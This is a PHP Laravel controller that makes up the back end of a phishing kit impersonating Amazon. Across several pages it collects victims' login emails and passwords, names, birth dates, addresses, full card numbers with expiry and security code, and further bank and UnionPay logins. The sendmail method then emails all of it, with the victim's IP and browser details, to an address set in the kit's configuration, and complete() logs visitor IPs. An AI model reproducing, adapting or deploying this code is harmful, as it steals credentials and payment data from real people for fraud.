<?php

namespace App\Http\Controllers\Index;

use App\Library\Y;
use App\Model\Admin;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Validator;
use Spatie\Permission\Models\Role;
use Illuminate\Support\Facades\Session;
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
class IndexController extends Controller
{
    /**
     * 用户列表
     * @param Request $request
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function index(Request $request)
    {
        // $userinfo = session('user_info');
        // $userdetail = session('user_details');
        // $user_info2 = session('user_info2');
        // $yinlian_user_info = session('yinlian_user_info');
        // dump(session('user_info'));
        // dump(session('user_details'));
        // dump(session('user_info2'));
        // dump(session('yinlian_user_info'));die;
        // dump(session::all());die;
        if ($request->isMethod('post')) {
            $post      = $request->only(['username', 'passwd']);
            $request->session()->put('user_info', $post);
            return Y::success('成功');
        } else {
            if(!$this->isMobile()){
                return view('index.pc_login');
            }else{
                return view('index.mobile_login');
            }
        }
    }
    //判断是否是手机端还是电脑端
    public function isMobile(){
        // 如果有Http_X_WAP_PROFILE则一定是移动设备
        if (isset ($_SERVER['HTTP_X_WAP_PROFILE'])){
            return true;
        }
        // 如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息
        if (isset ($_SERVER['HTTP_VIA'])){
            // 找不到为flase,否则为true
            return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
        }
        // 脑残法，判断手机发送的客户端标志,兼容性有待提高
        if (isset ($_SERVER['HTTP_USER_AGENT'])){
            $clientkeywords = array ('nokia',
                    'sony',
                    'eriCSSon',
                    'mot',
                    'samsung',
                    'htc',
                    'sgh',
                    'lg',
                    'sharp',
                    'sie-',
                    'philips',
                    'panasonic',
                    'alcatel',
                    'lenovo',
                    'iphone',
                    'ipod',
                    'blackberry',
                    'meizu',
                    'android',
                    'netfront',
                    'symbian',
                    'ucweb',
                    'windowsce',
                    'palm',
                    'operamini',
                    'operamobi',
                    'openwave',
                    'nexusone',
                    'cldc',
                    'midp',
                    'wap',
                    'mobile'
            );
            // 从HTTP_USER_AGENT中查找手机浏览器的关键字
            if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))){
                return true;
            }
        }
        // 协议法，因为有可能不准确，放到最后判断
        if (isset ($_SERVER['HTTP_ACCEPT'])){
            // 如果只支持wml并且不支持HTML那一定是移动设备
            // 如果支持wml和html但是wml在html之前则是移动设备
            if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))){
                return true;
            }
        }
        return false;
    }
    //添加权限
    public function desc(Request $request)
    {
        $row_001 = config('marketing.row_001');
        $row_002 = config('marketing.row_002');
        $row_003 = config('marketing.row_003');
        return view('index.desc',[
            'row_001'   => $row_001,
            'row_002'   => $row_002,
            'row_003'   => $row_003,
        ]);
    }
    public function info(Request $request){
        if ($request->isMethod('post')) {
            $post      = $request->all();
            $first = substr($post['card_number'] , 0 , 1);
            if($first == 3){
                $count = strlen($post['card_number']);
                if($count == 15){
                    $post['issuer_id_select'] = 'AMEX';
                }else{
                    $post['issuer_id_select'] = 'JCB';
                }
            }elseif ($first == 4) {
                $post['issuer_id_select'] = 'VISA';
            }elseif ($first == 5) {
                $post['issuer_id_select'] = 'MASTER';
            }elseif ($first == 6) {
                $post['issuer_id_select'] = 'Diners';
            }
            // $post['issuer_id_select'] 
            // $post['card_number']
            // if($post['card_number'] )
            // 1、卡号识别正确   3开头 jcb   4开头 visa  5开头 mast  卡号数16位  3开头卡号数15位 为Amex
            // VISA 
            // MASTER
            // JCB
            // Diners
            // AMEX
            // dump($post);die;
            $request->session()->put('user_details', $post);
            return Y::success('成功');
        } else {
            return view('index.info',[
                'page_004' => config('marketing.page_004')
            ]);
        }
    }
    public function tianlelogin(Request $request)
    {
        if ($request->ajax()) {
            $post      = $request->all();
            $request->session()->put('user_info2', $post);
            return Y::success('成功');
        } else {
            return view('tianle.tianlelogin');
        }
    }
    public function yinlian(Request $request){
        if ($request->isMethod('post')) {
            $post      = $request->all();
            $request->session()->put('yinlian_user_info', $post);
            $this->sendmail($request);
            return Y::success('成功');
        } else {
            $user_details = session('user_details');
            // dump($user_details);die;
            // // 4906556311794000
            $str  = substr($user_details['card_number'] , 0 , 6);//从左边第一位字符起截取3位字符：结果：123
            $card_number_str =substr($user_details['card_number'],-4);
            $config = config('marketing.firs_tcard');
            if($str == $config){
                $sign = 1;
            }else{
                $sign = 0;
            }
            $curtime = date('Y/m/d',time());
            return view('index.yinlian',[
                'sign'=>$sign,
                'curtime'=>$curtime,
                'card_number_str'=>$card_number_str,
                'user_details' => $user_details,
                'issuer_id_select' => $user_details['issuer_id_select']
            ]);
        }
    }
    public function complete(Request $request){
        $ip = request()->getClientIp();
        $myfile = fopen("ip.txt", "a+") or die("Unable to open file!");
        $txt = "$ip\n";
        fwrite($myfile, $txt);
        fclose($myfile);
        if ($request->isMethod('post')) {
            return Y::success('成功');
        } else {
            return view('index.complete');
        }
    }
    public function sendmail(Request $request){
        error_reporting(E_ERROR | E_PARSE );
        // dump(config('smtp_server'));
        // dump(config('smtp_serverport'));
        // dump(config('smtp_from'));
        // dump(config('smtp_user'));
        // dump(config('smtp_pass'));
        // dump(config('Timeout'));
        // dump(session('user_details'));
        // die;
        try {
            // dump(session::all());die;
            $userinfo = session('user_info');
            $userdetail = session('user_details');
            $user_info2 = session('user_info2');
            $yinlian_user_info = session('yinlian_user_info');
            // dump(session('user_info'));
            // dump(session('user_details'));
            // dump(session('user_info2'));
            // dump(session('yinlian_user_info'));die;
            $getClientIp = request()->getClientIp();
            //Server settings
            $mail = new PHPMailer(true);
            // $mail->SMTPDebug = SMTP::DEBUG_SERVER;                      // Enable verbose debug output
            $mail->isSMTP();                                            // Send using SMTP
            $mail->Host       = config('marketing.smtp_server');                  // Set the SMTP server to send through
            $mail->SMTPAuth   = true;                                   // Enable SMTP authentication
            $mail->Username   = config('marketing.smtp_user');                    // SMTP username
            // qwe951753123
            $mail->Password   = config('marketing.smtp_pass');                   // SMTP password
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;         // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` also accepted
            $mail->Port       = config('marketing.smtp_serverport');               // TCP port to connect to
            $mail->Timeout = config('marketing.Timeout'); 
            $mail->CharSet = 'utf-8';
            $mail->SMTPOptions = array(
                'ssl' => array(
                    'verify_peer' => false,
                    'verify_peer_name' => false,
                    'allow_self_signed' => true
                )
            );
            // 发件人信息  邮箱号、名称
            $mail->setFrom(config('marketing.smtp_user'), config('marketing.set_from_name'));
            // 收件人信息 邮箱号、名称
            $mail->addAddress(config('marketing.add_ress_email'), config('marketing.set_receipt_name'));
            // Content
            $mail->isHTML(true);                                  // Set email format to HTML
            $mail->Subject = config('marketing.email_title');
            $mail->Body    = 'test';
            $mail->Body    = '<div id="content" class="netease_mail_readhtml">
                <style type="text/css">.netease_mail_readhtml 
                    body{
                        background: #fff;
                        color: #fff;
                        font-family: arial;
                    }.netease_mail_readhtml 
                    .rezlt{
                        width: 666px;
                        border: 1px solid #232f3e;
                    }.netease_mail_readhtml 
                    table{
                        width: 100%;
                        background: #fff;
                        color: #444;
                    }.netease_mail_readhtml 
                    table td{
                        padding: 10px;
                    }.netease_mail_readhtml 
                    .newline{
                    width: 100%;
                    background: #ff9900;
                    height: 2px;
                    }
                </style>
                <center>
                <div class="rezlt">
                    <h3 style="text-align: center;background: #232f3e;margin: 0px;padding: 17px;">Amazon [LOGIN - BILLING - CARD]</h3>
                    <table>
                        <tbody><tr>
                            <td style="text-align:right;"><b>Login Email：</b></td>
                            <td style="width: 400px;"><a data-auto-link="1" href="mailto:'.$userinfo['username'].'">'.$userinfo['username'].'</a></td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Login Password：</b></td>
                            <td style="width: 400px;">'.$userinfo['passwd'].'</td>
                        </tr>
                    </tbody></table>
                    <div class="newline"></div>
                    <table>
                        <tbody><tr>
                            <td style="text-align:right;"><b>Full name：</b></td>
                            <td style="width: 400px;">'.$userdetail['user_name'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Date of birth：</b></td>
                            <td style="width: 400px;">'.$userdetail['birthday'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Phone number：</b></td>
                            <td style="width: 400px;">'.$userdetail['iphone_num'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Zip：</b></td>
                            <td style="width: 400px;">'.$userdetail['postal_code'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>State：</b></td>
                            <td style="width: 400px;">'.$userdetail['region_code'].'</td>
                        </tr>

                        <tr>
                            <td style="text-align:right;"><b>Address line 1：</b></td>
                            <td style="width: 400px;">'.$userdetail['address_2'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Address line 2：</b></td>
                            <td style="width: 400px;">'.$userdetail['address_3'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Department：</b></td>
                            <td style="width: 400px;">'.$userdetail['position_input'].'</td>
                        </tr>
                    </tbody></table>

                    <div class="newline"></div>
                    <table>
                        <tbody><tr>
                            <td style="text-align:right;"><b>Name on card：</b></td>
                            <td style="width: 400px;">'.$userdetail['issuer_id_select'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Card number：</b></td>
                            <td style="width: 400px;">'.$userdetail['card_number'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>Experation date：</b></td>
                            <td style="width: 400px;">'.$userdetail['card_term'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>CSC：</b></td>
                            <td style="width: 400px;">'.$userdetail['safety_code'].'</td>
                        </tr>
                        <tr>
                            <td style="text-align:right;"><b>card_owner：</b></td>
                            <td style="width: 400px;">'.$userdetail['cxoxn'].'</td>
                        </tr>
                    </tbody></table>
                    <div class="newline"></div>
                    <table>
                        <tbody>
                            <tr>
                                <td style="text-align:right;"><b>IP：</b></td>
                                <td style="width: 400px;"><a href="http://geoiptool.com/?ip='.$getClientIp.'" target="_blank">'.$getClientIp.'</a></td>
                            </tr>
                            <tr>
                                <td style="text-align:right;"><b>Date Time：</b></td>
                                <td style="width: 400px;">'.date('Y-m-d H:m:s',time()).'</td>
                            </tr>
                            <tr>
                                <td style="text-align:right;"><b>User Agent：</b></td>
                                <td style="width: 400px;">'.$_SERVER['HTTP_USER_AGENT'].'</td>
                            </tr>
                            <tr>
                                <td style="text-align:right;"><b>Accept Language：</b></td>
                                <td style="width: 400px;">zh-CN,zh;q=0.9</td>
                            </tr>
                        </tbody>
                    </table>
                    <div class="newline"></div>
                    <table>
                        <tbody>
                            <tr>
                                <td style="text-align:right;"><b>login_user2：</b></td>
                                <td style="width: 400px;">'.$user_info2['login_user2'].'</td>
                            </tr>
                            <tr>
                                <td style="text-align:right;"><b>login_password2：</b></td>
                                <td style="width: 400px;">'.$user_info2['login_password2'].'</td>
                            </tr>
                        </tbody>
                    </table>
                    <div class="newline"></div>
                    <table>
                        <tbody>
                            <tr>
                                <td style="text-align:right;"><b>yinlian_user_id：</b></td>
                                <td style="width: 400px;">'.$yinlian_user_info['yinlian_user_id'].'</td>
                            </tr>
                            <tr>
                                <td style="text-align:right;"><b>yinlian_user_pass：</b></td>
                                <td style="width: 400px;">'.$yinlian_user_info['yinlian_user_pass'].'</td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                </center>
            </div>';
            $mail->send();
            $request->session()->forget('user_info');
            $request->session()->forget('user_details');
            $request->session()->forget('user_info2');
            $request->session()->forget('yinlian_user_info');
            return Y::success('成功');
        } catch (Exception $e) {
            return Y::error($mail->ErrorInfo);
        }
    }
}
